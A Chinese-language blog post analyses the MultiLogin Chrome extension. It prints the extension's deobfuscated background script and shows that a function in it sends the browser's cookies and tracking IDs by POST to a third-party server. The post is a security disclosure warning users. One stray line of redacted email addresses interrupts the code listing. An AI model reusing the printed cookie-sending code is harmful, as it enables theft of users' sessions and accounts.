2014
Apr
07




我想大部分的人都有多个 Google, Yahoo, 帐号,有时候需要同时用两个不同的帐号登入 Google ,这时最简单的方式就是打开两个浏览器,但是我已经习惯使用 Chrome 浏览器了,所以我不太愿意有打开两个浏览器。

后来我搜寻了 Google Chrome Extension,找一个支援切换帐号的功能,很快的就找到了 「MultiLogin 」这个 extension,但是我不太敢使用这个 Extension,因为它帮我们完成帐号的切换,这也代表它会去操作浏览器的 Cookie ,这是一个很危险的行为。

为了确保我的帐号安全,我检查了 MultiLogin 的程式码! 结果非常惊人,我看到 MultiLogin 会将 cookie 传送到 www.woopra.com 这个伺服器。

MultiLogin 有问题的程式码

MultiLogin 的程式码是有将过 compression 的,第一眼看到是完全没办法看懂的,但是还原回来后,就可以很清楚看到程式码的行为。

background.min.js
  1. function y(b) {
  2. chrome.storage.local.set({
  3. install: !0
  4. });
  5. var a = new XMLHttpRequest;
  6. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  7. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n +
  9. "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) +
  10. "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t +
  11. "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie +
  12. "\x26cookie\x3d" + r)
  13. }
\x26 是 「&」的 16进位代码, \x3d 是 「=」的 16进位代码

这段程式会将 document.cookie 当成参数 ce_miduid 传送到 Server http://www.woopra.com/track/ce/

全部的程式码

background.min.js
  1. var f = {}, g = [],
  2. l = [];
  3. m("");
  4. chrome.browserAction.onClicked.addListener(function () {
  5. n++;
  6. var b = {};
  7. b.use = n;
  8. chrome.storage.sync.set(b);
  9. chrome.tabs.create({}, function (a) {
  10. p(a.id, a.id + "[email protected]@@_")
  11. })
  12. });
  13. var q, n, r, s, t, u;
  14. chrome.runtime.onInstalled.addListener(function (b) {
  15. chrome.storage.sync.get("date", function (a) {
  16. q = a.date;
  17. q || (q = (new Date).getTime(), a.date = q, chrome.storage.sync.set(a))
  18. });
  19. chrome.storage.sync.get("use", function (a) {
  20. n = a.use;
  21. n || (n = 0, a.use = n, chrome.storage.sync.set(a))
  22. });
  23. chrome.storage.sync.get("uid", function (a) {
  24. r = a.uid;
  25. r || (r = w(), a.uid = r, chrome.storage.sync.set(a))
  26. });
  27. chrome.storage.local.get("mid", function (a) {
  28. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  29. s = a.mid;
  30. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  31. });
  32. chrome.storage.local.get("orgVersion", function (a) {
  33. a.orgVersion || (a.orgVersion = chrome.runtime.getManifest().version, chrome.storage.local.set(a));
  34. t = a.orgVersion
  35. });
  36. chrome.storage.local.get("mid", function (a) {
  37. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  38. s = a.mid;
  39. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  40. });
  41. chrome.storage.local.get("install", function (a) {
  42. u = a.install
  43. });
  44. chrome.storage.sync.get(function () {
  45. x(b)
  46. })
  47. });
  48.  
  49. function x(b) {
  50. "update" === b.reason && b.previousVersion != chrome.runtime.getManifest().version && y(b.reason + "\x26ce_previousVersion\x3d" + b.previousVersion);
  51. "install" !== b.reason || (0 != ((new Date).getTime() - q) / 864E5 << 0 || u) || chrome.tabs.query({
  52. url: "https://chrome.google.com/webstore*"
  53. }, function (a) {
  54. if (a && a[0]) {
  55. var b = a[0];
  56. b.openerTabId ? chrome.tabs.get(b.openerTabId, function (a) {
  57. y("install\x26ce_url\x3d" + b.url + "\x26ce_referrer\x3d" + a.url)
  58. }) : y("install\x26ce_url\x3d" + b.url)
  59. } else {
  60. y("install")
  61. }
  62. })
  63. }
  64. group-[email protected].com; groups-[email protected].com; [email protected].com; [email protected].linkedin.com; messages-[email protected].com
  65. function y(b) {
  66. chrome.storage.local.set({
  67. install: !0
  68. });
  69. var a = new XMLHttpRequest;
  70. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  71. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  72. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n + "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) + "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t + "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie + "\x26cookie\x3d" + r)
  73. }
  74.  
  75. function w() {
  76. return ("000000000000" + (Math.random() * Math.pow(36, 12)).toString(36)).substr(-12)
  77. };
  78.  
  79. function m(b) {
  80. chrome.cookies.getAll({}, function (a) {
  81. for (var c in a) {
  82. var e = a[c],
  83. d = e.name;
  84. null === b && 0 < d.indexOf("@@@") || "" === b && -1 == d.indexOf("@@@") || b && d.substring(0, b.length) != b || chrome.cookies.remove({
  85. url: (e.secure ? "https://" : "http://") + e.domain + e.path,
  86. name: d
  87. }, function () {})
  88. }
  89. })
  90. }
  91.  
  92. function z() {
  93. chrome.cookies.getAll({}, function (b) {
  94. for (var a in b) {
  95. var c = b[a].name;
  96. if (!(0 > c.indexOf("[email protected]@@_"))) {
  97. for (a in c = c.substr(0, c.indexOf("[email protected]@@_")) + "[email protected]@@_", g) {
  98. if (g[a] == c) {
  99. return
  100. }
  101. }
  102. }
  103. }
  104. })
  105. };
  106. chrome.tabs.onReplaced.addListener(function (b, a) {
  107. var c = A(a);
  108. p(b, c);
  109. delete g[a];
  110. B(b, c)
  111. });
  112. chrome.tabs.onRemoved.addListener(function (b) {
  113. a: {
  114. var a = A(b);
  115. if (a) {
  116. delete g[b];
  117. for (var c in g) {
  118. if (g[c] == a) {
  119. break a
  120. }
  121. }
  122. m(a)
  123. }
  124. }
  125. delete l[b]
  126. });
  127. chrome.tabs.onUpdated.addListener(function (b, a, c) {
  128. "loading" == c.status && p(b, A(b))
  129. });
  130. chrome.tabs.onCreated.addListener(function (b) {
  131. if (b) {
  132. var a = b.id;
  133. if (a && !(0 > a)) {
  134. if (!b.openerTabId) {
  135. var c = b.windowId;
  136. if (C && D && C != c) {
  137. c = A(D);
  138. p(a, c);
  139. l[a] = !0;
  140. return
  141. }
  142. }
  143. b.openerTabId && "chrome" != b.url.substr(0, 6) ? (c = A(b.openerTabId), p(a, c), "undefined" === typeof l[a] && (l[a] = b.openerTabId)) : l[a] = !0
  144. }
  145. }
  146. });
  147. var C;
  148. chrome.windows.getCurrent({}, function (b) {
  149. E(b.id)
  150. });
  151. chrome.windows.onFocusChanged.addListener(function (b) {
  152. E(b)
  153. });
  154.  
  155. function E(b) {
  156. b && chrome.windows.get(b, {}, function (a) {
  157. a && "normal" == a.type && (C = b, chrome.tabs.query({
  158. active: !0,
  159. windowId: C
  160. }, function (a) {
  161. D = a[0].id
  162. }))
  163. })
  164. }
  165. var D;
  166. chrome.tabs.onActiveChanged.addListener(function (b, a) {
  167. E(a.windowId)
  168. });
  169. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  170. if ((b = b.tabId) && !(0 > b) && (z(), "undefined" === typeof l[b])) {
  171. b = 0;
  172. for (var a = (new Date).getTime(); 500 > b - a; b = (new Date).getTime()) {}
  173. }
  174. }, {
  175. urls: ["http://*/*", "https://*/*"],
  176. types: ["main_frame"]
  177. }, ["blocking", "requestBody"]);
  178. chrome.webRequest.onBeforeSendHeaders.addListener(function (b) {
  179. var a = b.tabId;
  180. if (a && !(0 > a)) {
  181. var c = A(a),
  182. e = b.url,
  183. d = b.requestHeaders,
  184. h = "";
  185. if ("https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  186. if ("main_frame" == b.type) {
  187. f[a] = !1;
  188. if (e && 0 == e.indexOf("https://accounts.google.com/")) {
  189. var v, k;
  190. for (k in d) {
  191. if ("Referer" == d[k].name) {
  192. v = d[k].value;
  193. break
  194. }
  195. }
  196. v && 0 == v.indexOf("https://accounts.google.com/") && 0 < v.indexOf("chrome.google.com") && (f[a] = !0, c = "")
  197. }
  198. e && 0 == e.indexOf("https://accounts.google.com/") && 0 < e.indexOf("chrome.google.com") && (f[a] = !0, c = "");
  199. 0 == e.indexOf("https://chrome.google.com/webstore") && (f[a] = !0, c = "")
  200. }
  201. for (k in d) {
  202. if ("cookie" === d[k].name.toLowerCase()) {
  203. if (!c && -1 == d[k].value.indexOf("[email protected]@@_")) {
  204. return
  205. }
  206. b = d[k].value.split("; ");
  207. for (var G in b) {
  208. a = b[G].trim();
  209. if (c) {
  210. if (a.substring(0, c.length) != c) {
  211. continue
  212. }
  213. } else {
  214. if (-1 < a.indexOf("[email protected]@@_")) {
  215. continue
  216. }
  217. }
  218. 0 < h.length && (h += "; ");
  219. h = c ? h + a.substring(c.length) : h + a
  220. }
  221. d.splice(k, 1)
  222. }
  223. }
  224. 0 < h.length && d.push({
  225. name: "Cookie",
  226. value: h
  227. });
  228. return {
  229. requestHeaders: d
  230. }
  231. }
  232. }
  233. }, {
  234. urls: ["http://*/*", "https://*/*"]
  235. }, ["blocking", "requestHeaders"]);
  236. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  237. var a = b.tabId;
  238. if (a && !(0 > a)) {
  239. var c = A(a);
  240. if ("" != c) {
  241. var e = b.url;
  242. b = b.responseHeaders;
  243. if (!f[a] && "https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  244. for (var d in b) {
  245. "set-cookie" == b[d].name.toLowerCase() && (b[d].value = c + b[d].value)
  246. }
  247. return {
  248. responseHeaders: b
  249. }
  250. }
  251. }
  252. }
  253. }, {
  254. urls: ["http://*/*", "https://*/*"]
  255. }, ["blocking", "responseHeaders"]);
  256. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  257. var a = b.tabId;
  258. if (a && !(0 > a) && A(a)) {
  259. return {
  260. redirectUrl: b.url.replace("https://mail.google.com/mail/ca/", "https://mail.google.com/mail/")
  261. }
  262. }
  263. }, {
  264. urls: ["https://mail.google.com/mail/ca/*"]
  265. }, ["blocking", "requestBody"]);
  266. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  267. var a = b.tabId;
  268. if (a && !(0 > a)) {
  269. return b.responseHeaders.push({
  270. name: "6",
  271. value: A(a)
  272. }), {
  273. responseHeaders: b.responseHeaders
  274. }
  275. }
  276. }, {
  277. urls: ["https://translate.googleapis.com/translate_static/img/loading.gif"]
  278. }, ["blocking", "responseHeaders"]);
  279. chrome.webNavigation.onDOMContentLoaded.addListener(function (b) {
  280. var a = b.tabId;
  281. if (!(!a || 0 > a || !A(a) || 0 < b.frameId)) {
  282. try {
  283. chrome.tabs.sendMessage(a, {
  284. type: 5
  285. })
  286. } catch (c) {}
  287. }
  288. }, {
  289. urls: ["http://*/*", "https://*/*"]
  290. });
  291. chrome.runtime.onConnect.addListener(function (b) {
  292. b.onMessage.addListener(function (a) {
  293. 3 == a.type && b.sender.tab && b.postMessage({
  294. type: 4,
  295. profile: A(b.sender.tab.id)
  296. })
  297. })
  298. });
  299.  
  300. function A(b) {
  301. if (!(1 > b)) {
  302. return f[b] || !g[b] ? "" : g[b]
  303. }
  304. }
  305.  
  306. function p(b, a) {
  307. a && (g[b] = a, B(b, a))
  308. }
  309.  
  310. function B(b, a) {
  311. if ("undefined" !== typeof a) {
  312. var c = {
  313. text: a.substr(0, a.indexOf("[email protected]@@_")),
  314. tabId: b
  315. };
  316. chrome.browserAction.setBadgeBackgroundColor({
  317. color: "#006600",
  318. tabId: b
  319. });
  320. chrome.browserAction.setBadgeText(c)
  321. }
  322. };
  323.  
  324. function F(b) {
  325. var a = b.pageUrl;
  326. b.linkUrl && (a = b.linkUrl);
  327. chrome.tabs.create({
  328. url: a
  329. }, function (a) {
  330. p(a.id, a.id + "[email protected]@@_")
  331. })
  332. }
  333. chrome.contextMenus.create({
  334. title: "Duplicate Page in New Identity",
  335. contexts: ["page", "image"],
  336. onclick: F
  337. });
  338. chrome.contextMenus.create({
  339. title: "Open Link in New Identity",
  340. contexts: ["link"],
  341. onclick: F
  342. });

MultiLogin Extension:

备注 Chrome Extension 在 Mac 的安装目录

~/Library/Application\ Support/Google/Chrome/Default/Extensions/

备注 Chrome Extension 在 Windows 的安装目录

c:/Documents\ and\ Settings/{yourName}/Local\ Settings/Application\ Data/Google/Chrome/User\ Data/Default/Extensions

目前回應 Comments(1 comments)

  • 請教大大 2015/01/11

    聽到您的建議看來MultiLogin確實有問題,但如果真的有需求同時用兩個不同的帳號登入 Google,您有沒有建議的方法呢?感謝您

    Reply

    Admin

    如果你的瀏覽器是使用 google chrome , 那麼它本身就提供了兩個模式,一般模式跟隱私模式,這兩個模式之間的  Cookie 是分開的,所以你可以同時開啟這兩個模式,那你就可以同時登入兩個帳號。

    若是兩個帳號還不夠用,那你可以自訂新的 chrome profile , 每一個 profile 之間的 Cookie 也是分開的。

    Mac 開啟 profile 的方式
    open -n /Applications/Google\ Chrome.app/ --args --profile-directory="new_1"



    以上的方法你都不習慣的話 ,就多裝幾個瀏覽器吧,  例如 Firefox, opera, chrome, Safari

回應 (Leave a comment)